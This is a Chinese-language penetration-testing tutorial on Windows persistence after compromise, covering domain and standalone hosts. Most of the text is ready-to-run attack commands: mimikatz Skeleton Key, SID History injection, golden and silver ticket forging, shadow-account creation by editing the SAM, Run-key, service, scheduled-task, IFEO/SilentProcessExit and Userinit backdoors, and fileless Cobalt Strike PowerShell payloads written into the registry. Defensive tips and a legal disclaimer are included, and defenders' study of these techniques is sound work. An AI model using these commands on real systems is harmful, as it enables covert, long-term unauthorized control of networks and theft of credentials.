本人在合法虚拟机环境中操作,无任何不良影响
在渗透测试中,成功拿下目标主机或域控并非终点。攻击者往往需要长期维持访问权限 ,防止因漏洞修复、系统重启或权限变更而失去控制。权限维持技术种类繁多,本文将从域环境 和单机环境两个维度,详细介绍隐藏账户、影子账户、白名单远控软件、Skeleton Key、SID History、黄金/白银票据、启动项劫持、映像劫持、无文件落地等十余种持久化手段,并提供完整的命令示例与防御建议。
一、权限维持整体思路

二、域环境权限维持
2.1 创建隐藏账户
在已经获得域管理员权限后,创建一个在命令行下不可见但实际存在的账户,可作为后门登录。
方法一:使用专用工具 CreateHiddenAccount
该工具可创建net user无法列出的隐藏账户,但会在控制面板用户管理中显示。
bash
# 上传工具到目标,执行创建
CreateHiddenAccount_upx_v0.2.exe -u xiaolin -p xiaolin!@#45
# 检查是否存在隐藏账户
CreateHiddenAccount_upx_v0.2.exe -c
特点:
-
适用于域环境及单机。
-
命令
net user看不到,但控制面板可见。 -
工具还能检测隐藏账户。
方法二:手工创建影子账户(注册表法)
影子账户不仅net user看不到,在"计算机管理"中也隐藏,仅注册表可见。
步骤:
-
创建一个带
$结尾的普通账户(如aaa$):bash net user aaa$ 123456 /add net localgroup administrators aaa$ /add -
打开注册表
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\(需要授予管理员对SAM的读取权限)
-
找到
Administrator对应的项(通常是000001F4),复制其F键的值。 -
找到
aaa$对应的项(根据Names里的aaa$找到其十六进制目录),将Administrator的F值粘贴覆盖。
-
导出
aaa$对应的整个项及Names\aaa$项到桌面(.reg文件)。 -
删除原有
aaa$账户:bash net user aaa$ /del -
双击导入刚才导出的.reg文件,影子账户即生效。
影子账户特性:
-
任何地方看不到,但可通过
net use或远程桌面登录(以Administrator权限)。 -
克隆账户时如果原账户被禁用,克隆后也禁用。
-
克隆后修改原账户密码,影子账户仍有效。
防御建议:定期检查注册表
SAM中可疑的SID,使用wmic useraccount get name,sid对比。
2.2 基于白名单远控软件维持
传统C2木马易被杀软查杀,而正规远程控制软件(如向日葵、ToDesk、GotoHttp、RustDesk)通常被加入白名单,无需免杀。
2.2.1 GotoHttp
-
特点:无需安装,单exe文件,运行后生成ID和密码,通过浏览器(https)即可控制。
-
优点:流量走https(443端口),低带宽可用,控制端无需安装软件。
-
缺点:目标需联网且不封https;休眠唤醒可能被安全卫士拦截。

用法:
bash
# 上传到目标并运行
GotoHttp.exe
# 运行后读取同目录下生成的记录文件,获得ID和密码
# 本地浏览器打开官方网址,输入ID和密码即可远程桌面
2.2.2 RustDesk
RustDesk是一款开源的远程桌面软件,既是服务端也是客户端,支持无网络环境(内网直连)。
有网络环境:
-
上传并运行,在
%AppData%\RustDesk\config中获取ID和密码。
-
本地RustDesk输入ID和密码连接。

无网络环境(内网直连):
-
修改配置文件
%AppData%\RustDesk\config\RustDesk.toml,添加:toml direct-server = 'Y' direct-access-port = '8445' -
重启RustDesk,此时不会生成ID,但可在本地客户端直接输入
目标IP:8445及密码连接(密码仍在该目录配置文件中)。
优点:内网无互联网也可用,白名单软件,免杀。
防御建议:企业应通过应用白名单控制陌生exe运行,或监控非授权远程软件网络连接。
2.3 Skeleton Key(万能密码)
原理 :将恶意代码注入域控的lsass.exe进程,为所有域用户添加一个万能密码 (默认为mimikatz),不影响原密码。
步骤:
-
在已获得的域控上以管理员运行mimikatz:
bash privilege::debug misc::skeleton成功后会提示注入完成。
-
在其他域内机器上使用万能密码连接域控:
bash net use \\OWA2010CN-God\ipc$ "mimikatz" /user:god.org\administrator dir \\OWA2010CN-God\c$
局限性:
-
万能密码仅存在于内存中,域控重启后失效。
-
仅影响lsass进程,不修改SAM数据库。
防御:启用Credential Guard,监控lsass异常行为,定期重启域控并更新密码。
2.4 SID History后门
每个用户都有一个SID(安全标识符)。SID History属性原本用于迁移场景,允许用户保留原域权限。攻击者可利用此属性,将普通用户的SID History添加为域管理员SID,从而获得管理员权限。
步骤:
-
在域控上获取目标用户(如
test)和域管理员(如Administrator)的SID:powershell Get-ADUser test -Properties sid Get-ADUser Administrator -Properties sid -
使用mimikatz添加SID History:
bash privilege::debug sid::patch sid::add /sam:test /new:管理员SID -
验证:
test用户登录后,其访问令牌中将包含管理员SID,可访问域控资源。

特性:SID History修改后持久有效,即使原密码更改也不影响。
防御:定期检查高权限用户的SID History属性,使用PowerShell:
powershell
Get-ADUser -Filter * -Properties SIDHistory | Where-Object {$_.SIDHistory -ne $null}
2.5 黄金票据与白银票据
票据传递(PTT)不仅用于横向移动,更是权限维持的利器。利用伪造的Kerberos票据,可在域内任意访问资源,且不触发常规日志。
2.5.1 黄金票据(Golden Ticket)
原理 :使用域控krbtgt账户的NTLM Hash,伪造任意用户的TGT(登录票据),从而访问任何服务。
前提 :已获得krbtgt的Hash(可通过lsadump::lsa /patch获取)。

制作步骤:
-
获取域的SID(去掉末尾的RID部分):
bash whoami /all # 示例 SID: S-1-5-21-1218902331-2157346161-1782232778-1132 # 域SID取前部分: S-1-5-21-1218902331-2157346161-1782232778 -
获取krbtgt的NTLM Hash(域控上):
bash mimikatz lsadump::lsa /patch # krbtgt: b097d7ed97495408e1537f706c357fc5 -
生成黄金票据(有效期可设置10年):
bash kerberos::golden /user:任意用户名 /domain:god.org /sid:域SID /krbtgt:krbtgt的Hash /ticket:ticket.kirbi -
清除现有票据并导入:
bash klist purge kerberos::ptt ticket.kirbi -
验证访问域控:
bash dir \\域控主机名\c$
特点 :有效期可设置为几十年,即使域管理员密码更改,黄金票据依然有效(除非krbtgt密码被重置两次)。
2.5.2 白银票据(Silver Ticket)
原理:伪造特定服务的ST(服务票据),只能访问指定服务(如CIFS共享),但无需与域控通信。
步骤 :
-
获取域控机器账户的NTLM Hash(如
OWA2010CN-GOD$):bash mimikatz sekurlsa::logonpasswords -
生成白银票据(指定目标服务器和服务类型):
bash kerberos::golden /user:任意用户 /domain:god.org /sid:域SID /target:目标主机名 /service:cifs /rc4:机器账户Hash /ptt -
访问目标共享:
bash dir \\目标主机\c$
限制:只能访问指定服务(如cifs、http、ldap等),且需要目标主机的机器账户Hash。
黄金票据 vs 白银票据
| 特性 | 黄金票据 | 白银票据 |
|---|---|---|
| 加密密钥 | krbtgt NTLM Hash | 服务账户(如机器账户)NTLM Hash |
| 权限范围 | 整个域,任意服务 | 仅限指定服务器的指定服务 |
| 与域控交互 | 伪造TGT,需与KDC交互 | 伪造ST,直接访问服务,不触达KDC |
| 持久性 | 极强,除非krbtgt改两次 | 较强,但只能访问特定资源 |
| 检测难度 | 较高(日志异常) | 更高(无KDC日志) |
防御:
-
定期重置krbtgt密码两次(清除所有黄金票据)。
-
启用PAC签名验证。
-
监控
4624登录事件中的异常服务票据请求。
三、单机环境权限维持
当目标机器不在域内,或仅需维持单机权限时,可采取以下持久化手段。
3.1 自启动项
3.1.1 启动文件夹
将木马放入以下目录,用户登录时自动运行:
-
当前用户:
C:\Users\<用户名>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup -
所有用户:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
特点:操作简单,但容易被发现。
3.1.2 服务自启动
使用sc命令创建服务并设置为自动启动:
bash
sc create ServiceTest binPath= C:\6.exe start= auto
sc start ServiceTest
服务启动的进程通常具有SYSTEM权限。
删除服务:
bash
sc delete ServiceTest
3.1.3 注册表Run键
当前用户:
bash
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V backdoor /t REG_SZ /F /D "C:\6.exe"
系统级(需管理员):
bash
REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V backdoor /t REG_SZ /F /D "C:\6.exe"
3.1.4 计划任务
创建计划任务,设定触发器为开机/用户登录/定时等:
bash
schtasks /create /tn "Backdoor" /tr "C:\6.exe" /sc onstart /ru SYSTEM /F
3.2 映像劫持
原理 :Windows在启动程序时,会先检查Image File Execution Options注册表项,若配置了debugger键,则启动调试器程序。
简单劫持 (例如将notepad.exe替换为calc.exe):
bash
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v debugger /t REG_SZ /d "C:\Windows\System32\calc.exe"
之后每次打开记事本都会启动计算器。但原程序不会运行,易暴露。
高级劫持(配合GlobalFlag和SilentProcessExit) :
可实现原程序正常运行,关闭后才触发后门,隐蔽性更强。
bash
# 设置GlobalFlag
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
# 配置SilentProcessExit
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\6.exe"
这样,用户正常使用记事本,退出后才会执行后门程序。
3.3 登录界面劫持(Userinit)
Windows在用户登录时,会执行Userinit注册表键指定的程序。可以在其后追加后门,实现每次登录触发。
键值位置:
text
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
默认值为C:\Windows\system32\userinit.exe,
添加后门:
bash
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\system32\userinit.exe,C:\6.exe"
效果:每次用户登录(包括注销后重新登录),后门都会以用户权限执行。
3.4 无文件落地技术
传统落地木马易被静态查杀。将后门代码(如PowerShell脚本)直接写入注册表,由系统触发时动态加载,可绕过文件扫描。
步骤:
-
使用Cobalt Strike生成PowerShell无文件payload (
Attacks→Packages→PowerShell Command)。 -
将生成的Base64编码命令写入注册表,例如与Userinit结合:
bash REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\system32\userinit.exe, powershell -nop -w hidden -enc JABzAD0ATgB..." -
用户登录时,PowerShell直接从内存执行,无任何文件落地。
其他注册表位置 :Run、RunOnce、AppInit_DLLs等均可配合无文件执行。
防御:监控注册表关键键值的变更,使用PowerShell日志记录执行历史。
四、权限维持技术对比
| 技术 | 适用环境 | 隐蔽性 | 持久性 | 依赖条件 |
|---|---|---|---|---|
| 隐藏账户 | 域/单机 | 高(工具创建较隐蔽) | 永久 | 管理员权限 |
| 影子账户 | 域/单机 | 极高(注册表不可见) | 永久 | SAM修改权限 |
| GotoHttp/RustDesk | 域/单机 | 中(白名单进程) | 重启后需手动重连 | 可执行文件 |
| Skeleton Key | 域控 | 高(内存中) | 仅到重启 | 域控管理员 |
| SID History | 域 | 很高 | 永久 | 域管理员+域功能级别 |
| 黄金票据 | 域 | 高 | 长达10年 | krbtgt Hash |
| 白银票据 | 域 | 很高 | 直至服务账户改密 | 服务账户Hash |
| 启动项/服务/注册表 | 单机 | 低 | 重启后 | 写入权限 |
| 映像劫持 | 单机 | 中(高级方式) | 永久 | 写入权限 |
| Userinit登录劫持 | 单机 | 中 | 永久 | 管理员权限 |
| 无文件落地 | 单机 | 高 | 永久 | 注册表写入+PowerShell |
五、检测与防御建议
5.1 检测方法
-
账户审计 :
net user、wmic useraccount、注册表SAM对比。 -
进程监控 :
lsass异常注入、未知进程名。 -
注册表监控 :关键路径
Run、Winlogon、Image File Execution Options、SilentProcessExit。 -
日志分析 :
4624登录、4672特权分配、4698计划任务创建、4657注册表修改。 -
票据审计 :
klist查看缓存票据,域控上启用PAC签名验证。
5.2 加固措施
-
最小权限原则:域管账号仅用于管理,禁止登录普通主机。
-
启用Credential Guard(Win10+/Server2016+):防止mimikatz读取lsass明文。
-
应用白名单:禁止非授权exe运行。
-
定期重置krbtgt密码(两次)。
-
启用SID History审计并清理异常。
-
EDR部署:监控注册表、进程创建、网络连接等行为。
六、总结
内网权限维持是渗透测试的高级阶段,其本质是在系统正常行为中嵌入恶意持久化逻辑。攻击者常用的手段涵盖了账户隐藏、白名单软件、进程注入、注册表劫持、票据伪造等多个层面。防御方应通过纵深监控、最小权限、补丁管理及定期检查来降低风险。
本文所有技术仅供合法安全测试与学习使用,请勿用于非法目的。在实际授权测试中,建议优先使用无文件、内存级的技术以减少对目标系统的影响,并做好操作记录与痕迹清理。